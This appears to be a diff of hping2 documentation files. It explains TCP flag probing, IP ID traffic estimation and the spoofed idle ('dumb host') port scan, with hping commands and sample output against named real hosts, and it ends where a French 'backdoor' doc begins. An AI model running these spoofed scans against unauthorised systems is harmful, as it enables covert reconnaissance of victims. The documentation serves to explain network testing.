As you can see host replies with a TCP packet with RST and ACK flags
|
||||||
|
set. So you are able to perform a 'TCP ping', usefull when ICMPs are
|
||||||
|
filtered. By default port 0 are used because it's very strange that
|
||||||
|
is in LISTEN state. If we send a TCP null-flags to a port in
|
||||||
|
LISTEN state a lot of TCP/IP stack will not send any reply. So we are
|
||||||
|
able to know if a port is in LISTEN state. For example:
|
||||||
|
|
||||||
|
# hping www.debian.org -p 80
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
[Ctrl+C]
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
5 packets trasmitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Since port 80 of www.debian.org is in LISTEN mode we got
|
||||||
|
no response.
|
||||||
|
|
||||||
|
But What's happen if we try to hping a firewalled port? This depends
|
||||||
|
on firewall policy/implementation. Usually we get an ICMP or
|
||||||
|
nothing. For example:
|
||||||
|
|
||||||
|
# hping www.yahoo.com -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net)
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
14 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
yahoo firewall doesn't allow connection to port 79, so reply with
|
||||||
|
an ICMP Packet filtered (ICMP unreachable code 13). However
|
||||||
|
there are a lot of firewall that simply drop the packet. For example:
|
||||||
|
|
||||||
|
# hping www.microsoft.com -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
4 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
No reply from microsoft. Is the port firewalled or in LISTEN mode?
|
||||||
|
To uncover this is very simply. Just we try to set ACK flag instead
|
||||||
|
to send a TCP null-flag packet. If the host respond maybe this port
|
||||||
|
is in LISTEN mode (but it's possible that there is a rules that
|
||||||
|
deny null-flag TCP packet but allow ACK).
|
||||||
|
|
||||||
|
# hping www.microsoft.com -A -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
3 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
No response again, So this port seems to be filtered. Anyway
|
||||||
|
it's possible that microsoft is using an 'intelligent' firewall
|
||||||
|
that know that in order to connect first I must send a SYN.
|
||||||
|
|
||||||
|
# hping www.microsoft.com -S -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
3 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Ok.. seems that port 79 of microsoft is really filtered.
|
||||||
|
Just for clearness we send some ACK to port 80 of www.debian.org:
|
||||||
|
|
||||||
|
# hping www.debian.org -p 80 -A
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms
|
||||||
|
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
|
||||||
|
We can see replies even if port 80 is in LISTEN mode because
|
||||||
|
a port in LISTEN mode may not replay only to NULL, FIN, Xmas, Ymas
|
||||||
|
flags TCP packet. ACK and RST are two important TCP flags that
|
||||||
|
allow to do ACL tests and to guess ip->id without to produce any log
|
||||||
|
(usually).
|
||||||
|
|
||||||
|
__0004: IP id and how to scan TCP ports using spoofing.
|
||||||
|
|
||||||
|
Every IP packet is identified by a 16 bit id. Thanks to this id
|
||||||
|
IP stacks are able to handle fragmentation. A lot of OSs handle
|
||||||
|
ip->id travially: just increment by 1 this id for each packet sent.
|
||||||
|
Using this id you are able at least to estimate hosts traffic and to
|
||||||
|
scan with spoofed packets. OpenBSD >= 2.5 and many others implement
|
||||||
|
a random not repetitive id so you aren't able to joke with ip->id.
|
||||||
|
Win* ip->id has different byte ordering, so you must specify
|
||||||
|
--winid or -W option if you are using hping2 against Win*.
|
||||||
|
|
||||||
|
N.B.: You are able to scan spoofed hosts with safe/random ip->id
|
||||||
|
because in order to spoof your packets you need a third
|
||||||
|
part host with incremental id rule but you don't need that
|
||||||
|
target of your scanning has an incremental id.
|
||||||
|
|
||||||
|
How to estimate host traffic using ip->id? It's really simple:
|
||||||
|
|
||||||
|
# hping www.yahoo.com -p 80 -A
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
8 packets tramitted, 8 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 329.4/377.4/390.0 ms
|
||||||
|
|
||||||
|
As you can se id field increase. Packet with sequence 0 has id=29607,
|
||||||
|
sequence 1 has id=31549, so www.yahoo.com host sent 31549-29607 = 1942
|
||||||
|
packets in circa one second. Using -r|--relid option hping output
|
||||||
|
id field as difference between last and current received packet id.
|
||||||
|
|
||||||
|
# hping www.yahoo.com -P 80 -A -r
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
10 packets tramitted, 10 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 320.0/336.7/360.0 ms
|
||||||
|
|
||||||
|
Obviously checking the id every 1/2 second instead of 1 second, increment
|
||||||
|
will be half.
|
||||||
|
|
||||||
|
# hping www.yahoo.com -P 80 -A -r -i u 500000
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
9 packets tramitted, 9 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 310.0/320.8/330.0 ms
|
||||||
|
|
||||||
|
N.B. Warning, using ip->id you are able only to guess *the number
|
||||||
|
of packets sent/time*. You can't always compare different hosts.
|
||||||
|
ip->id refers to all host interfaces and for example if an host
|
||||||
|
use NAT or redirect TCP connections to another host (for example
|
||||||
|
a firewall used to hide a web server) ip->id increment may
|
||||||
|
result fakely increased.
|
||||||
|
|
||||||
|
hpinging windows box without using --winid option you will see as
|
||||||
|
increments are 256 multiple because different id byteordering. This
|
||||||
|
can be really usefull for OS fingerprinting:
|
||||||
|
|
||||||
|
#hping win95 -r
|
||||||
|
HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms
|
||||||
|
|
||||||
|
--- win95 hping statistic ---
|
||||||
|
4 packets tramitted, 4 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 0.5/0.5/0.6 ms
|
||||||
|
|
||||||
|
Windows systems are "marked", so in order to discovery if an host is
|
||||||
|
a Windows host you need to send just some packet.
|
||||||
|
|
||||||
|
How to perform spoofed SYN scan using incremental id? The following
|
||||||
|
is the original message to bugtraq about spoofed/indirect/idle scan method,
|
||||||
|
bottom i'll try to explain details and how this is possible even with UDP
|
||||||
|
with some restriction.
|
||||||
|
|
||||||
|
---- bugtraq posting about spoofed scanning ----
|
||||||
|
|
||||||
|
Hi,
|
||||||
|
|
||||||
|
I have uncovered a new tcp port scan method.
|
||||||
|
Instead all others it allows you to scan using spoofed
|
||||||
|
packets, so scanned hosts can't see your real address.
|
||||||
|
In order to perform this i use three well known tcp/ip
|
||||||
|
implementation peculiarities of most OS:
|
||||||
|
|
||||||
|
(1) * hosts reply SYN|ACK to SYN if tcp target port is open,
|
||||||
|
reply RST|ACK if tcp target port is closed.
|
||||||
|
|
||||||
|
(2) * You can know the number of packets that hosts are sending
|
||||||
|
using id ip header field. See my previous posting 'about the ip
|
||||||
|
header' in this ml.
|
||||||
|
|
||||||
|
(3) * hosts reply RST to SYN|ACK, reply nothing to RST.
|
||||||
|
|
||||||
|
|
||||||
|
The Players:
|
||||||
|
|
||||||
|
host A - evil host, the attacker.
|
||||||
|
host B - silent host.
|
||||||
|
host C - victim host.
|
||||||
|
|
||||||
|
A is your host.
|
||||||
|
B is a particular host: It must not send any packets while
|
||||||
|
you are scanning C. There are a lot of 'zero traffic' hosts
|
||||||
|
in internet, especially in the night :)
|
||||||
|
C is the victim, it must be vulnerable to SYN scan.
|
||||||
|
|
||||||
|
I've called this scan method 'dumb host scan' in honour of host
|
||||||
|
B characteristics.
|
||||||
|
|
||||||
|
|
||||||
|
How it works:
|
||||||
|
|
||||||
|
Host A monitors number of outgoing packets from B using id iphdr.
|
||||||
|
You can do this simply using hping:
|
||||||
|
|
||||||
|
#hping B -r
|
||||||
|
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
As you can see, id increases are always 1. So this host have the
|
||||||
|
characteristics that host B should to own.
|
||||||
|
|
||||||
|
Now host A sends SYN to port X of C spoofing from B.
|
||||||
|
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
|
||||||
|
if port X of C is open, host C will send SYN|ACK to B (yes,
|
||||||
|
host C don't know that the real sender is A). In this
|
||||||
|
case host B replies to SYN|ACK with a RST.
|
||||||
|
If we send to host C a few of SYN it will reply to B with a few
|
||||||
|
of SYN|ACK, so B will reply to C a few of RST... so
|
||||||
|
we'll see that host B is sending packets!
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
The port is open!
|
||||||
|
|
||||||
|
Instead, if port X of C is closed sending to C a few
|
||||||
|
of SYN spoofed from B, it will reply with RST to B, and
|
||||||
|
B will not reply (see 3). So we'll see that host B is not sending
|
||||||
|
any packet:
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
The port is closed.
|
||||||
|
|
||||||
|
All this can appear complicated to perform, but using two sessions
|
||||||
|
of hping on Linux virtual consoles or under X makes it more simple.
|
||||||
|
First session listen host B: hping B -r
|
||||||
|
Second session send spoofed SYN: hping C -a B -S
|
||||||
|
|
||||||
|
Sorry if my english is not so clear.
|
||||||
|
However this posting is not adequate to describe exaustively
|
||||||
|
this scan method, so i'll write a paper on this topic, specially
|
||||||
|
about how to implement this in a port scanner (i.e. nmap), and
|
||||||
|
about players characteristics and OS used.
|
||||||
|
|
||||||
|
happy new year,
|
||||||
|
antirez
|
||||||
|
|
||||||
|
---- EOF ----
|
||||||
|
|
||||||
|
As you can see spoofed scanning is travial to perform, especially
|
||||||
|
unsing hping2 you are able to specify micro seconds interval (-i uX)
|
||||||
|
so you don't need that B host is a totally idle host. You may read
|
||||||
|
id increment once every second sending 10 SYN every second. If you
|
||||||
|
send an adequate SYNnumber/second expected id increment is so big
|
||||||
|
that you are able to see if port is open or closed even if B host
|
||||||
|
is sending other packets. Example:
|
||||||
|
|
||||||
|
# hping awake.host.org -p 80 -A -r
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms
|
||||||
|
...
|
||||||
|
|
||||||
|
as you can see this host isn't in idle, it sends ~ 6 packets every second.
|
||||||
|
Now scan www.yahoo.com's port 80 to see if it's open:
|
||||||
|
|
||||||
|
root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
[wait some second and press CTRL+C]
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
130 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
round-trip min/avg/max = 0.0/0.0/0.0 ms
|
||||||
|
|
||||||
|
Looking output of 'hping awake.host.org -p 80 -A -r' it's
|
||||||
|
simple to understand that www.yahoo.com's port 80 is open:
|
||||||
|
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms
|
||||||
|
|
||||||
|
note that 16+75+12+27+11+1-6 = 136 and that we sent 130 packets. So it's
|
||||||
|
very realistic that increments are produced by our packtes.
|
||||||
|
|
||||||
|
Tips: Using an idle host to perform spoofed scanning it's usefull to
|
||||||
|
output only replies that show an increment != 1. Try
|
||||||
|
`hping host -r | grep -v "id=+1"'
|
15
docs/HPING2-IS-OPEN
Normal file
15
docs/HPING2-IS-OPEN
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
I want to spend two words about hping2 developing model.
|
||||||
|
Hping2 is totally open to new contribution and ideas,
|
||||||
|
if you have even the littlest idea in order to make
|
||||||
|
hping better or you make some patch send me an email.
|
||||||
|
All the patches, if they don't break the old code and
|
||||||
|
are not totally useless, will be included. I know of
|
||||||
|
a lot of projects that are GPLed but in some way "close"
|
||||||
|
since every new patch is considered bloat or the only
|
||||||
|
possible code is the primary authors code: THIS IS
|
||||||
|
NOT THE CASE! Also every the littlest doc contribution
|
||||||
|
will be added to hping2, you can just build a plain-text
|
||||||
|
file that exposes how to do some task with hping, it will
|
||||||
|
be included under the 'docs' directory.
|
||||||
|
|
||||||
|
antirez
|
29
docs/MORE-FUN-WITH-IPID
Normal file
29
docs/MORE-FUN-WITH-IPID
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
Posted to bugtraq mailing list (20 Nov 1999):
|
||||||
|
|
||||||
|
---
|
||||||
|
Hi,
|
||||||
|
|
||||||
|
some little new ideas about IP ID issue:
|
||||||
|
|
||||||
|
The first is about linux firewalling: since it increase IP ID global counter
|
||||||
|
even if an outgoing packet will be filtered we are able, for example, to
|
||||||
|
scan UDP ports even if ICMP type 3 output is DENY, and in general it is possibleto know when TCP/IP stack reply a packet even if the reply is dropped.
|
||||||
|
I think (but not tested) that this is true for almost all firewalls.
|
||||||
|
|
||||||
|
The second issue concern the ability to uncover firewall rules. For example
|
||||||
|
it is travial to know if host A filter packets from the IP X.Y.Z.W monitoring
|
||||||
|
IP ID incresing of host A or host with X.Y.Z.W address (this changes if we are
|
||||||
|
interested to know input or output rules) and sending packets that suppose
|
||||||
|
some reply. Also this is related with the ability to scan the ports of hosts
|
||||||
|
that drop all packets with a source different than host.trusted.com.
|
||||||
|
There are others stuff like this but they are only different faces of the
|
||||||
|
same concepts.
|
||||||
|
|
||||||
|
Some people thinks that this kind of attacks isn't a "real world" attacks,
|
||||||
|
I'm strongly interested to know what's bugtraq readers opinion (IMO this
|
||||||
|
kind of attacks are feasible and usefull for an attacker. For exaple the
|
||||||
|
ability to scan the ports with only spoofed packets and the ability to
|
||||||
|
guess remote hosts traffic are a lot real).
|
||||||
|
|
||||||
|
ciao,
|
||||||
|
antirez
|
119
docs/SPOOFED_SCAN.txt
Normal file
119
docs/SPOOFED_SCAN.txt
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
The following is the original posting to bugtraq
|
||||||
|
about spoofed/indirect/idle scan method. See
|
||||||
|
the HPING2-HOWTO for more informations.
|
||||||
|
|
||||||
|
antirez
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Hi,
|
||||||
|
|
||||||
|
I have uncovered a new tcp port scan method.
|
||||||
|
Instead all others it allows you to scan using spoofed
|
||||||
|
packets, so scanned hosts can't see your real address.
|
||||||
|
In order to perform this i use three well known tcp/ip
|
||||||
|
implementation peculiarities of most OS:
|
||||||
|
|
||||||
|
(1) * hosts reply SYN|ACK to SYN if tcp target port is open,
|
||||||
|
reply RST|ACK if tcp target port is closed.
|
||||||
|
|
||||||
|
(2) * You can know the number of packets that hosts are sending
|
||||||
|
using id ip header field. See my previous posting 'about the ip
|
||||||
|
header' in this ml.
|
||||||
|
|
||||||
|
(3) * hosts reply RST to SYN|ACK, reply nothing to RST.
|
||||||
|
|
||||||
|
|
||||||
|
The Players:
|
||||||
|
|
||||||
|
host A - evil host, the attacker.
|
||||||
|
host B - silent host.
|
||||||
|
host C - victim host.
|
||||||
|
|
||||||
|
A is your host.
|
||||||
|
B is a particular host: It must not send any packets while
|
||||||
|
you are scanning C. There are a lot of 'zero traffic' hosts
|
||||||
|
in internet, especially in the night :)
|
||||||
|
C is the victim, it must be vulnerable to SYN scan.
|
||||||
|
|
||||||
|
I've called this scan method 'dumb host scan' in honour of host
|
||||||
|
B characteristics.
|
||||||
|
|
||||||
|
|
||||||
|
How it works:
|
||||||
|
|
||||||
|
Host A monitors number of outgoing packets from B using id iphdr.
|
||||||
|
You can do this simply using hping:
|
||||||
|
|
||||||
|
#hping B -r
|
||||||
|
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
As you can see, id increases are always 1. So this host have the
|
||||||
|
characteristics that host B should to own.
|
||||||
|
|
||||||
|
Now host A sends SYN to port X of C spoofing from B.
|
||||||
|
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
|
||||||
|
if port X of C is open, host C will send SYN|ACK to B (yes,
|
||||||
|
host C don't know that the real sender is A). In this
|
||||||
|
case host B replies to SYN|ACK with a RST.
|
||||||
|
If we send to host C a few of SYN it will reply to B with a few
|
||||||
|
of SYN|ACK, so B will reply to C a few of RST... so
|
||||||
|
we'll see that host B is sending packets!
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
The port is open!
|
||||||
|
|
||||||
|
Instead, if port X of C is closed sending to C a few
|
||||||
|
of SYN spoofed from B, it will reply with RST to B, and
|
||||||
|
B will not reply (see 3). So we'll see that host B is not sending
|
||||||
|
any packet:
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
The port is closed.
|
||||||
|
|
||||||
|
All this can appear complicated to perform, but using two sessions
|
||||||
|
of hping on Linux virtual consoles or under X makes it more simple.
|
||||||
|
First session listen host B: hping B -r
|
||||||
|
Second session send spoofed SYN: hping C -a B -S
|
||||||
|
|
||||||
|
Sorry if my english is not so clear.
|
||||||
|
However this posting is not adequate to describe exaustively
|
||||||
|
this scan method, so i'll write a paper on this topic, specially
|
||||||
|
about how to implement this in a port scanner (i.e. nmap), and
|
||||||
|
about players characteristics and OS used.
|
||||||
|
|
||||||
|
happy new year,
|
||||||
|
antirez
|
37
docs/french/AS-BACKDOOR
Normal file
37
docs/french/AS-BACKDOOR
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez
|
||||||
|
